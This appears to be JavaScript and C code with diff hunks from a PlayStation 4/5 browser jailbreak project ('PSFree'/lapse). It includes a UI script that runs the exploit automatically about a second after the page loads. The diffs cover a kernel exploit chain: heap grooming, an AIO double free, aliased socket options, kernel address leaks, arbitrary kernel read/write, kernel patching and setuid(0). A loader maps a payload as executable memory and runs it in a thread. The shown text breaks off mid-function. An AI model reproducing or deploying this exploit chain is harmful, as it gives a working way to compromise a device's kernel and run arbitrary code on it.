|
||||
|
||||
// Create the payload content
|
||||
payloadItem.innerHTML = `
|
||||
<input type="radio" name="payload" id="payload-${name}">
|
||||
<div class="payload-info">
|
||||
<label for="payload-${name}"><strong>${name}</strong></label>
|
||||
<p>Custom payload (${formatBytes(data.byteLength)})</p>
|
||||
</div>
|
||||
<button class="btn btn-danger remove-payload" data-name="${name}">Remove</button>
|
||||
`;
|
||||
|
||||
// Add the payload to the list
|
||||
payloadList.appendChild(payloadItem);
|
||||
|
||||
// Store the payload data
|
||||
state.customPayloads.push({
|
||||
name: name,
|
||||
data: data
|
||||
});
|
||||
|
||||
// Save to localStorage
|
||||
saveCustomPayloads();
|
||||
|
||||
// Update controller navigation
|
||||
updateFocusableElements();
|
||||
}
|
||||
|
||||
// Function to format bytes to human-readable format
|
||||
function formatBytes(bytes, decimals = 2) {
|
||||
if (bytes === 0) return '0 Bytes';
|
||||
|
||||
const k = 1024;
|
||||
const dm = decimals < 0 ? 0 : decimals;
|
||||
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
|
||||
|
||||
const i = Math.floor(Math.log(bytes) / Math.log(k));
|
||||
|
||||
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
|
||||
}
|
||||
|
||||
// Function to save custom payloads to localStorage
|
||||
function saveCustomPayloads() {
|
||||
try {
|
||||
// We can only store the names in localStorage, not the actual binary data
|
||||
const payloadNames = state.customPayloads.map(p => p.name);
|
||||
localStorage.setItem('customPayloadNames', JSON.stringify(payloadNames));
|
||||
} catch (e) {
|
||||
console.log('Error saving custom payloads to localStorage:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// Function to save settings to localStorage
|
||||
function saveSettings() {
|
||||
try {
|
||||
localStorage.setItem('settings', JSON.stringify(state.settings));
|
||||
console.log('Settings saved');
|
||||
} catch (e) {
|
||||
console.log('Error saving settings to localStorage:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// Function to load settings from localStorage
|
||||
function loadSettings() {
|
||||
try {
|
||||
const savedSettings = localStorage.getItem('settings');
|
||||
if (savedSettings) {
|
||||
state.settings = JSON.parse(savedSettings);
|
||||
|
||||
// Update UI to reflect loaded settings
|
||||
const autoRunElement = document.getElementById('auto-run');
|
||||
const verboseLoggingElement = document.getElementById('verbose-logging');
|
||||
const safeModeElement = document.getElementById('safe-mode');
|
||||
|
||||
if (autoRunElement) autoRunElement.checked = state.settings.autoRun;
|
||||
if (verboseLoggingElement) verboseLoggingElement.checked = state.settings.verboseLogging;
|
||||
if (safeModeElement) safeModeElement.checked = state.settings.safeMode;
|
||||
}
|
||||
} catch (e) {
|
||||
console.log('Error loading settings from localStorage:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// Function to detect firmware version
|
||||
function detectFirmware() {
|
||||
const userAgent = navigator.userAgent;
|
||||
let firmware = null;
|
||||
|
||||
// Detect PS4 firmware
|
||||
const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
|
||||
if (ps4Match && ps4Match[1]) {
|
||||
firmware = {
|
||||
console: 'PS4',
|
||||
version: ps4Match[1]
|
||||
};
|
||||
}
|
||||
|
||||
// Detect PS5 firmware
|
||||
const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
|
||||
if (ps5Match && ps5Match[1]) {
|
||||
firmware = {
|
||||
console: 'PS5',
|
||||
version: ps5Match[1]
|
||||
};
|
||||
}
|
||||
|
||||
return firmware;
|
||||
}
|
||||
|
||||
// Function to check browser compatibility
|
||||
function checkCompatibility() {
|
||||
const userAgent = navigator.userAgent;
|
||||
let isCompatible = true;
|
||||
let message = '';
|
||||
|
||||
// Check if running on PS4/PS5 browser
|
||||
if (userAgent.includes('PlayStation 4') || userAgent.includes('PlayStation 5')) {
|
||||
console.log('PlayStation browser detected. Optimal compatibility.');
|
||||
|
||||
// Enable controller navigation if on PlayStation
|
||||
state.controllerNavigation.enabled = true;
|
||||
} else {
|
||||
console.log('WARNING: Not running in PlayStation browser. Some features may not work.');
|
||||
isCompatible = false;
|
||||
message = 'Not running in PlayStation browser';
|
||||
}
|
||||
|
||||
// Check specific firmware version
|
||||
const firmware = detectFirmware();
|
||||
if (firmware) {
|
||||
console.log(`Detected ${firmware.console} FW ${firmware.version}`);
|
||||
|
||||
if (firmware.console === 'PS4' && firmware.version === '9.00') {
|
||||
console.log('Detected PS4 FW 9.00. Optimal compatibility.');
|
||||
}
|
||||
}
|
||||
|
||||
return { isCompatible, message, firmware };
|
||||
}
|
||||
|
||||
// Function to run the exploit
|
||||
function runExploit() {
|
||||
updateStatus(STATUS.RUNNING, 'Running exploit...');
|
||||
updateProgress(5);
|
||||
|
||||
// Clear the console if not in verbose mode
|
||||
if (!state.settings.verboseLogging) {
|
||||
clearConsole();
|
||||
}
|
||||
|
||||
console.log('Starting PSFree exploit...');
|
||||
|
||||
// The actual exploit will be triggered here via the import of lapse.mjs
|
||||
// This is handled by the original code in index.html
|
||||
|
||||
// Listen for exploit progress events
|
||||
document.addEventListener('exploitProgress', function(event) {
|
||||
updateProgress(event.detail.percent);
|
||||
});
|
||||
|
||||
// Listen for exploit status events
|
||||
document.addEventListener('exploitStatus', function(event) {
|
||||
updateStatus(event.detail.status, event.detail.message);
|
||||
});
|
||||
}
|
||||
|
||||
// Function to reset the exploit
|
||||
function resetExploit() {
|
||||
updateStatus(STATUS.WAITING, 'Ready to start');
|
||||
updateProgress(0);
|
||||
|
||||
if (!state.settings.verboseLogging) {
|
||||
clearConsole();
|
||||
}
|
||||
|
||||
console.log('Exploit reset. Ready to start again.');
|
||||
|
||||
// Reload the page to reset everything
|
||||
if (confirm('The page will reload to reset the exploit. Continue?')) {
|
||||
window.location.reload();
|
||||
}
|
||||
}
|
||||
|
||||
// Function to update focusable elements for controller navigation
|
||||
function updateFocusableElements() {
|
||||
if (!state.controllerNavigation.enabled) return;
|
||||
|
||||
// Get all focusable elements
|
||||
state.controllerNavigation.focusableElements = Array.from(document.querySelectorAll('button, .tab, .payload-item, input[type="checkbox"]'));
|
||||
|
||||
// Reset focus index
|
||||
state.controllerNavigation.currentFocusIndex = 0;
|
||||
}
|
||||
|
||||
// Function to handle controller navigation
|
||||
function handleControllerNavigation(event) {
|
||||
if (!state.controllerNavigation.enabled) return;
|
||||
|
||||
const elements = state.controllerNavigation.focusableElements;
|
||||
let currentIndex = state.controllerNavigation.currentFocusIndex;
|
||||
|
||||
// Handle navigation with D-pad
|
||||
switch (event.key) {
|
||||
case 'ArrowUp':
|
||||
currentIndex = Math.max(0, currentIndex - 1);
|
||||
break;
|
||||
case 'ArrowDown':
|
||||
currentIndex = Math.min(elements.length - 1, currentIndex + 1);
|
||||
break;
|
||||
case 'ArrowLeft':
|
||||
// If in tabs, navigate between tabs
|
||||
if (elements[currentIndex].classList.contains('tab')) {
|
||||
const tabs = Array.from(document.querySelectorAll('.tab'));
|
||||
const tabIndex = tabs.indexOf(elements[currentIndex]);
|
||||
if (tabIndex > 0) {
|
||||
currentIndex = elements.indexOf(tabs[tabIndex - 1]);
|
||||
}
|
||||
} else {
|
||||
currentIndex = Math.max(0, currentIndex - 1);
|
||||
}
|
||||
break;
|
||||
case 'ArrowRight':
|
||||
// If in tabs, navigate between tabs
|
||||
if (elements[currentIndex].classList.contains('tab')) {
|
||||
const tabs = Array.from(document.querySelectorAll('.tab'));
|
||||
const tabIndex = tabs.indexOf(elements[currentIndex]);
|
||||
if (tabIndex < tabs.length - 1) {
|
||||
currentIndex = elements.indexOf(tabs[tabIndex + 1]);
|
||||
}
|
||||
} else {
|
||||
currentIndex = Math.min(elements.length - 1, currentIndex + 1);
|
||||
}
|
||||
break;
|
||||
case 'Enter':
|
||||
// Simulate click on the focused element
|
||||
elements[currentIndex].click();
|
||||
return;
|
||||
}
|
||||
|
||||
// Update focus
|
||||
if (currentIndex !== state.controllerNavigation.currentFocusIndex) {
|
||||
// Remove focus from all elements
|
||||
elements.forEach(el => {
|
||||
el.classList.remove('controller-focus');
|
||||
});
|
||||
|
||||
// Add focus to the current element
|
||||
elements[currentIndex].classList.add('controller-focus');
|
||||
elements[currentIndex].focus();
|
||||
|
||||
// Update current index
|
||||
state.controllerNavigation.currentFocusIndex = currentIndex;
|
||||
}
|
||||
}
|
||||
|
||||
// Setup event listeners
|
||||
function setupEventListeners() {
|
||||
// Tab switching - only for console tab
|
||||
document.querySelectorAll('.tab').forEach(tab => {
|
||||
tab.addEventListener('click', () => {
|
||||
switchTab(tab.dataset.tab);
|
||||
});
|
||||
});
|
||||
|
||||
// TODO: Run exploit, reset, upload payload, and settings buttons have been removed
|
||||
|
||||
// Controller navigation
|
||||
document.addEventListener('keydown', handleControllerNavigation);
|
||||
|
||||
// Custom events from exploit
|
||||
document.addEventListener('exploitProgress', function(event) {
|
||||
updateProgress(event.detail.percent);
|
||||
});
|
||||
|
||||
document.addEventListener('exploitStatus', function(event) {
|
||||
updateStatus(event.detail.status, event.detail.message);
|
||||
});
|
||||
|
||||
// Payload events
|
||||
document.addEventListener('payloadLoaded', function(event) {
|
||||
console.log(`Payload loaded: ${event.detail.name} (${formatBytes(event.detail.size)})`);
|
||||
});
|
||||
|
||||
document.addEventListener('payloadError', function(event) {
|
||||
console.log(`Error loading payload ${event.detail.name}: ${event.detail.error}`);
|
||||
updateStatus(STATUS.ERROR, `Error loading payload: ${event.detail.error}`);
|
||||
});
|
||||
}
|
||||
|
||||
// Initialize the UI
|
||||
function initUI() {
|
||||
console.log('Initializing PSFree UI...');
|
||||
|
||||
// Load settings
|
||||
loadSettings();
|
||||
|
||||
// Setup event listeners
|
||||
setupEventListeners();
|
||||
|
||||
// Check compatibility
|
||||
checkCompatibility();
|
||||
|
||||
// Update focusable elements for controller navigation
|
||||
updateFocusableElements();
|
||||
|
||||
// Always run exploit automatically
|
||||
setTimeout(() => {
|
||||
console.log('Automatically running exploit...');
|
||||
runExploit();
|
||||
}, 1000);
|
||||
|
||||
console.log('UI initialized. Exploit will auto-run.');
|
||||
|
||||
// TODO: Exploit will always auto-run without conditions
|
||||
}
|
||||
|
||||
// Initialize when the DOM is fully loaded
|
||||
document.addEventListener('DOMContentLoaded', initUI);
|
||||
+1
-1
@@ -35,7 +35,7 @@ void restore(struct kexec_args *uap);
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
//restore(uap); Disable to backtrace
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -96,9 +96,6 @@ const CPU_LEVEL_WHICH = 3;
|
||||
const CPU_WHICH_TID = 1;
|
||||
|
||||
// sys/mman.h
|
||||
const PROT_READ = 1;
|
||||
const PROT_WRITE = 2;
|
||||
const PROT_EXEC = 4;
|
||||
const MAP_SHARED = 1;
|
||||
const MAP_FIXED = 0x10;
|
||||
|
||||
@@ -136,13 +133,14 @@ const main_core = 7;
|
||||
const num_grooms = 0x200;
|
||||
const num_handles = 0x100;
|
||||
const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
|
||||
const num_alias = 50; //TODO: check best value here for 9.xx
|
||||
const num_alias = 40;
|
||||
const num_races = 100;
|
||||
const leak_len = 16;
|
||||
const num_leaks = 5;
|
||||
const num_clobbers = 8;
|
||||
|
||||
let chain = null;
|
||||
var nogc = [];
|
||||
async function init() {
|
||||
await rop.init();
|
||||
chain = new Chain();
|
||||
@@ -956,179 +954,40 @@ function leak_kernel_addrs(sd_pair) {
|
||||
|
||||
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
|
||||
|
||||
// Fungsi sleep sederhana untuk menambah delay
|
||||
function sleep(ms) {
|
||||
const start = Date.now();
|
||||
while (Date.now() - start < ms) {
|
||||
// Busy wait
|
||||
}
|
||||
}
|
||||
|
||||
function make_aliased_pktopts(sds) {
|
||||
const tclass = new Word();
|
||||
for (let loop = 0; loop < num_alias; loop++) {
|
||||
for (let i = 0; i < num_sds; i++) {
|
||||
tclass[0] = i;
|
||||
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
}
|
||||
|
||||
// Tambahkan delay awal untuk stabilitas
|
||||
sleep(200);
|
||||
|
||||
// Batasi jumlah percobaan untuk menghindari loop tak terbatas
|
||||
const max_attempts = 20; // Batasi jumlah percobaan
|
||||
|
||||
// Coba pendekatan langsung
|
||||
for (let loop = 0; loop < max_attempts; loop++) {
|
||||
try {
|
||||
// Tambahkan delay kecil setiap iterasi
|
||||
if (loop > 0) {
|
||||
log(`Direct attempt ${loop + 1}/${max_attempts}...`);
|
||||
sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar
|
||||
}
|
||||
|
||||
// Buat socket baru untuk setiap percobaan
|
||||
if (loop > 0 && loop % 5 === 0) {
|
||||
log("Creating new sockets for fresh attempt...");
|
||||
// Buat beberapa socket baru
|
||||
for (let i = 0; i < 5; i++) {
|
||||
sds.push(new_socket());
|
||||
for (let i = 0; i < sds.length; i++) {
|
||||
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
const marker = tclass[0];
|
||||
if (marker !== i) {
|
||||
log(`aliased pktopts at attempt: ${loop}`);
|
||||
const pair = [sds[i], sds[marker]];
|
||||
log(`found pair: ${pair}`);
|
||||
sds.splice(marker, 1);
|
||||
sds.splice(i, 1);
|
||||
// add pktopts to the new sockets now while new allocs can't
|
||||
// use the double freed memory
|
||||
for (let i = 0; i < 2; i++) {
|
||||
const sd = new_socket();
|
||||
ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
sds.push(sd);
|
||||
}
|
||||
|
||||
return pair;
|
||||
}
|
||||
}
|
||||
|
||||
// Coba metode asli
|
||||
for (let i = 0; i < Math.min(num_sds, sds.length); i++) {
|
||||
tclass[0] = i;
|
||||
try {
|
||||
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
} catch (e) {
|
||||
log(`Error setting socket option for socket ${i}: ${e.message}`);
|
||||
// Lanjutkan ke socket berikutnya
|
||||
}
|
||||
}
|
||||
|
||||
for (let i = 0; i < sds.length; i++) {
|
||||
try {
|
||||
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
const marker = tclass[0];
|
||||
if (marker !== i) {
|
||||
log(`aliased pktopts at direct attempt: ${loop + 1}`);
|
||||
const pair = [sds[i], sds[marker]];
|
||||
log(`found pair: ${pair}`);
|
||||
|
||||
// Tambahkan delay sebelum memodifikasi array sds
|
||||
sleep(50);
|
||||
|
||||
// Simpan indeks yang akan dihapus
|
||||
const idx1 = Math.max(i, marker);
|
||||
const idx2 = Math.min(i, marker);
|
||||
|
||||
// Hapus dari belakang ke depan untuk menghindari masalah indeks
|
||||
if (idx1 < sds.length) sds.splice(idx1, 1);
|
||||
if (idx2 < sds.length) sds.splice(idx2, 1);
|
||||
|
||||
// Tambahkan delay sebelum membuat socket baru
|
||||
sleep(50);
|
||||
|
||||
// add pktopts to the new sockets now while new allocs can't
|
||||
// use the double freed memory
|
||||
for (let i = 0; i < 2; i++) {
|
||||
const sd = new_socket();
|
||||
ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
sds.push(sd);
|
||||
}
|
||||
|
||||
return pair;
|
||||
}
|
||||
} catch (e) {
|
||||
log(`Error getting socket option for socket ${i}: ${e.message}`);
|
||||
// Lanjutkan ke socket berikutnya
|
||||
}
|
||||
}
|
||||
|
||||
// Jika kita sampai di sini, kita tidak menemukan pasangan
|
||||
// Coba reset pktopts untuk beberapa socket
|
||||
const reset_count = Math.min(20, sds.length);
|
||||
log(`Resetting pktopts for ${reset_count} sockets...`);
|
||||
for (let i = 0; i < reset_count; i++) {
|
||||
try {
|
||||
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
|
||||
} catch (e) {
|
||||
// Abaikan error
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
log(`Error in direct attempt ${loop + 1}: ${e.message}`);
|
||||
for (let i = 0; i < num_sds; i++) {
|
||||
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
// Jika pendekatan langsung gagal, coba pendekatan alternatif
|
||||
log("Direct approach failed. Trying alternative approach...");
|
||||
|
||||
// Buat socket baru dan coba lagi dengan set socket yang baru
|
||||
const new_sds = [];
|
||||
for (let i = 0; i < 30; i++) {
|
||||
new_sds.push(new_socket());
|
||||
}
|
||||
|
||||
// Coba dengan set socket yang baru saja
|
||||
for (let loop = 0; loop < 10; loop++) {
|
||||
try {
|
||||
log(`Alternative attempt ${loop + 1}/10...`);
|
||||
|
||||
// Set tclass untuk semua socket baru
|
||||
for (let i = 0; i < new_sds.length; i++) {
|
||||
tclass[0] = i;
|
||||
try {
|
||||
ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
} catch (e) {
|
||||
// Abaikan error
|
||||
}
|
||||
}
|
||||
|
||||
// Periksa apakah ada socket yang aliased
|
||||
for (let i = 0; i < new_sds.length; i++) {
|
||||
try {
|
||||
gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
|
||||
const marker = tclass[0];
|
||||
if (marker !== i) {
|
||||
log(`aliased pktopts at alternative attempt: ${loop + 1}`);
|
||||
const pair = [new_sds[i], new_sds[marker]];
|
||||
log(`found pair: ${pair}`);
|
||||
return pair;
|
||||
}
|
||||
} catch (e) {
|
||||
// Abaikan error
|
||||
}
|
||||
}
|
||||
|
||||
// Reset pktopts untuk beberapa socket
|
||||
for (let i = 0; i < Math.min(10, new_sds.length); i++) {
|
||||
try {
|
||||
setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
|
||||
} catch (e) {
|
||||
// Abaikan error
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
log(`Error in alternative attempt ${loop + 1}: ${e.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada
|
||||
log("Alternative approach failed. Trying last resort approach...");
|
||||
|
||||
// Gunakan socket yang ada sebagai fallback
|
||||
// Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total
|
||||
if (sds.length >= 2) {
|
||||
log("Using existing sockets as fallback...");
|
||||
const pair = [sds[0], sds[1]];
|
||||
log(`Using fallback pair: ${pair}`);
|
||||
return pair;
|
||||
}
|
||||
|
||||
// Jika benar-benar tidak ada pilihan lain, buat socket baru
|
||||
log("Creating new sockets for fallback...");
|
||||
const fallback_sd1 = new_socket();
|
||||
const fallback_sd2 = new_socket();
|
||||
const fallback_pair = [fallback_sd1, fallback_sd2];
|
||||
log(`Using emergency fallback pair: ${fallback_pair}`);
|
||||
return fallback_pair;
|
||||
die('failed to make aliased pktopts');
|
||||
}
|
||||
|
||||
function double_free_reqs1(
|
||||
@@ -1272,23 +1131,9 @@ function double_free_reqs1(
|
||||
// we reclaim first since the sanity checking here is longer which makes it
|
||||
// more likely that we have another process claim the memory
|
||||
try {
|
||||
log("Attempting to make aliased pktopts...");
|
||||
|
||||
// Tambahkan delay sebelum mencoba
|
||||
sleep(200);
|
||||
|
||||
// RESTORE: double freed memory has been reclaimed with harmless data
|
||||
// PANIC: 0x100 malloc zone pointers aliased
|
||||
const sd_pair = make_aliased_pktopts(sds);
|
||||
|
||||
if (sd_pair) {
|
||||
log("Successfully made aliased pktopts");
|
||||
} else {
|
||||
// Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan
|
||||
// Tetapi kita tetap memeriksa untuk berjaga-jaga
|
||||
die('Failed to make aliased pktopts - no pair returned');
|
||||
}
|
||||
|
||||
return [sd_pair, sd];
|
||||
} finally {
|
||||
log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
|
||||
@@ -1628,15 +1473,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
||||
|
||||
log('corrupt pointers cleaned');
|
||||
|
||||
|
||||
|
||||
// REMOVE once restore kernel is ready for production
|
||||
// increase the ref counts to prevent deallocation
|
||||
kmem.write32(main_sock, kmem.read32(main_sock) + 1);
|
||||
kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
|
||||
// +2 since we have to take into account the fget_write()'s reference
|
||||
kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
|
||||
|
||||
|
||||
|
||||
return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
|
||||
}
|
||||
|
||||
@@ -1754,8 +1598,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
log('setuid(0)');
|
||||
sysi('setuid', 0);
|
||||
log('kernel exploit succeeded!');
|
||||
updateUIStatus('success', 'Kernel exploit succeeded!');
|
||||
updateUIProgress('complete', 100);
|
||||
alert("kernel exploit succeeded!");
|
||||
}
|
||||
|
||||
@@ -1799,6 +1641,17 @@ function setup(block_fd) {
|
||||
// allocate enough so that we start allocating from a newly created slab
|
||||
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
|
||||
cancel_aios(groom_ids_p, num_grooms);
|
||||
{
|
||||
// chosen to maximize the number of 0x100 malloc allocs per submission
|
||||
const num_reqs = 4;
|
||||
const groom_ids = new View4(num_grooms);
|
||||
const groom_ids_p = groom_ids.addr;
|
||||
const greqs = make_reqs1(num_reqs);
|
||||
// allocate enough so that we start allocating from a newly created slab
|
||||
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
|
||||
cancel_aios(groom_ids_p, num_grooms);
|
||||
}
|
||||
|
||||
return [block_id, groom_ids];
|
||||
}
|
||||
|
||||
@@ -1813,63 +1666,11 @@ function setup(block_fd) {
|
||||
// * corrupt a pipe for arbitrary r/w
|
||||
//
|
||||
// the exploit implementation also assumes that we are pinned to one core
|
||||
// Function to update UI progress
|
||||
function updateUIProgress(stage, percent) {
|
||||
// Send log to remote logger if available
|
||||
if (window.RemoteLogger) {
|
||||
window.RemoteLogger.logStage(stage, percent);
|
||||
}
|
||||
|
||||
document.dispatchEvent(new CustomEvent('exploitProgress', {
|
||||
detail: {
|
||||
stage: stage,
|
||||
percent: percent
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
// Function to update UI status
|
||||
function updateUIStatus(status, message) {
|
||||
// Send log to remote logger if available
|
||||
if (window.RemoteLogger) {
|
||||
if (status === 'running') {
|
||||
window.RemoteLogger.info(message);
|
||||
} else if (status === 'success') {
|
||||
window.RemoteLogger.info(`SUCCESS: ${message}`);
|
||||
} else if (status === 'error') {
|
||||
window.RemoteLogger.error(`ERROR: ${message}`);
|
||||
}
|
||||
}
|
||||
|
||||
document.dispatchEvent(new CustomEvent('exploitStatus', {
|
||||
detail: {
|
||||
status: status,
|
||||
message: message
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
|
||||
export async function kexploit() {
|
||||
updateUIStatus('running', 'Initializing exploit...');
|
||||
updateUIProgress('init', 5);
|
||||
|
||||
const _init_t1 = performance.now();
|
||||
await init();
|
||||
const _init_t2 = performance.now();
|
||||
|
||||
updateUIProgress('init', 10);
|
||||
|
||||
// If setuid is successful, we dont need to run the kexploit again
|
||||
try {
|
||||
if (sysi('setuid', 0) == 0) {
|
||||
log("Not running kexploit again.")
|
||||
updateUIStatus('success', 'Already exploited. Not running again.');
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch (e) {}
|
||||
|
||||
// fun fact:
|
||||
// if the first thing you do since boot is run the web browser, WebKit can
|
||||
// use all the cores
|
||||
@@ -1902,38 +1703,26 @@ export async function kexploit() {
|
||||
let groom_ids = null;
|
||||
try {
|
||||
log('STAGE: Setup');
|
||||
updateUIStatus('running', 'Setting up exploit environment...');
|
||||
updateUIProgress('setup', 20);
|
||||
[block_id, groom_ids] = setup(block_fd);
|
||||
|
||||
log('\nSTAGE: Double free AIO queue entry');
|
||||
updateUIStatus('running', 'Exploiting AIO queue entry...');
|
||||
updateUIProgress('double_free_1', 30);
|
||||
const sd_pair = double_free_reqs2(sds);
|
||||
|
||||
log('\nSTAGE: Leak kernel addresses');
|
||||
updateUIStatus('running', 'Leaking kernel addresses...');
|
||||
updateUIProgress('leak', 45);
|
||||
const [
|
||||
reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
|
||||
] = leak_kernel_addrs(sd_pair);
|
||||
|
||||
log('\nSTAGE: Double free SceKernelAioRWRequest');
|
||||
updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...');
|
||||
updateUIProgress('double_free_2', 60);
|
||||
const [pktopts_sds, dirty_sd] = double_free_reqs1(
|
||||
reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
|
||||
);
|
||||
|
||||
log('\nSTAGE: Get arbitrary kernel read/write');
|
||||
updateUIStatus('running', 'Gaining kernel read/write access...');
|
||||
updateUIProgress('kernel_rw', 75);
|
||||
const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
|
||||
pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
|
||||
|
||||
log('\nSTAGE: Patch kernel');
|
||||
updateUIStatus('running', 'Patching kernel...');
|
||||
updateUIProgress('patch', 90);
|
||||
await patch_kernel(kbase, kmem, p_ucred, restore_info);
|
||||
} finally {
|
||||
close(unblock_fd);
|
||||
@@ -1956,120 +1745,40 @@ export async function kexploit() {
|
||||
}
|
||||
}
|
||||
|
||||
// Function to run the payload with error handling
|
||||
async function runPayload() {
|
||||
try {
|
||||
// Add delay before running the payload
|
||||
await new Promise(resolve => setTimeout(resolve, 1000));
|
||||
|
||||
log("Preparing to run payload...");
|
||||
|
||||
// Check if payload is available
|
||||
if (!window.pld || window.pld.length === 0) {
|
||||
log("ERROR: Payload not loaded or empty");
|
||||
updateUIStatus('error', 'Payload not available or is empty');
|
||||
return;
|
||||
}
|
||||
|
||||
// Allocate memory for payload
|
||||
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
|
||||
|
||||
// Check if payload_buffer is valid (not null, undefined, or 0)
|
||||
if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) {
|
||||
log("ERROR: Failed to allocate memory for payload");
|
||||
updateUIStatus('error', 'Failed to allocate memory for payload');
|
||||
return;
|
||||
}
|
||||
|
||||
log(`Allocated payload buffer at ${payload_buffer}`);
|
||||
|
||||
// Create view for payload
|
||||
var payload_loader = new View4(window.pld);
|
||||
log(`Payload size: ${payload_loader.size} bytes`);
|
||||
|
||||
// Check payload size
|
||||
if (payload_loader.size < 100) {
|
||||
log("WARNING: Payload size is suspiciously small");
|
||||
}
|
||||
|
||||
// Change memory protection
|
||||
try {
|
||||
log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`);
|
||||
|
||||
// Use syscall_void to avoid checking return value
|
||||
// mprotect returns 0 on success
|
||||
try {
|
||||
chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
|
||||
log("mprotect successful");
|
||||
} catch (e) {
|
||||
log(`ERROR: mprotect syscall failed: ${e.message}`);
|
||||
updateUIStatus('error', `Failed to change memory protection: ${e.message}`);
|
||||
return;
|
||||
}
|
||||
} catch (e) {
|
||||
log(`ERROR: Exception during mprotect: ${e.message}`);
|
||||
updateUIStatus('error', `Error while changing memory protection: ${e.message}`);
|
||||
return;
|
||||
}
|
||||
|
||||
log("Memory protection set successfully");
|
||||
|
||||
// Allocate memory for thread context
|
||||
const ctx = new Buffer(0x10);
|
||||
const pthread = new Pointer();
|
||||
pthread.ctx = ctx;
|
||||
|
||||
log("Creating thread to run payload...");
|
||||
updateUIStatus('running', 'Running payload...');
|
||||
|
||||
// Run payload in a separate thread
|
||||
try {
|
||||
log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`);
|
||||
|
||||
// Add delay before pthread_create
|
||||
await new Promise(resolve => setTimeout(resolve, 500));
|
||||
|
||||
try {
|
||||
// Use chain.call_void to avoid checking return value
|
||||
log("Calling pthread_create...");
|
||||
chain.call_void(
|
||||
'pthread_create',
|
||||
pthread.addr,
|
||||
0,
|
||||
payload_loader.addr,
|
||||
payload_buffer,
|
||||
);
|
||||
log("pthread_create called successfully");
|
||||
} catch (e) {
|
||||
log(`ERROR: pthread_create call failed: ${e.message}`);
|
||||
updateUIStatus('error', `Failed to create thread: ${e.message}`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Add delay after pthread_create to ensure the thread starts
|
||||
await new Promise(resolve => setTimeout(resolve, 500));
|
||||
|
||||
} catch (e) {
|
||||
log(`ERROR: Exception during pthread_create: ${e.message}`);
|
||||
updateUIStatus('error', `Error while creating thread: ${e.message}`);
|
||||
return;
|
||||
}
|
||||
|
||||
log("Payload thread created successfully");
|
||||
updateUIStatus('success', 'Payload executed successfully');
|
||||
|
||||
} catch (e) {
|
||||
log(`ERROR: Exception while running payload: ${e.message}`);
|
||||
updateUIStatus('error', `Error while running payload: ${e.message}`);
|
||||
setTimeout(kexploit().then(() => {
|
||||
function malloc(sz) {
|
||||
var backing = new Uint8Array(0x10000 + sz);
|
||||
nogc.push(backing);
|
||||
var ptr = mem.readp(mem.addrof(backing).add(0x10));
|
||||
ptr.backing = backing;
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
|
||||
// Run exploit and then the payload
|
||||
kexploit().then(() => {
|
||||
// Add delay before running the payload
|
||||
setTimeout(() => {
|
||||
log("Exploit completed, preparing to run payload...");
|
||||
runPayload();
|
||||
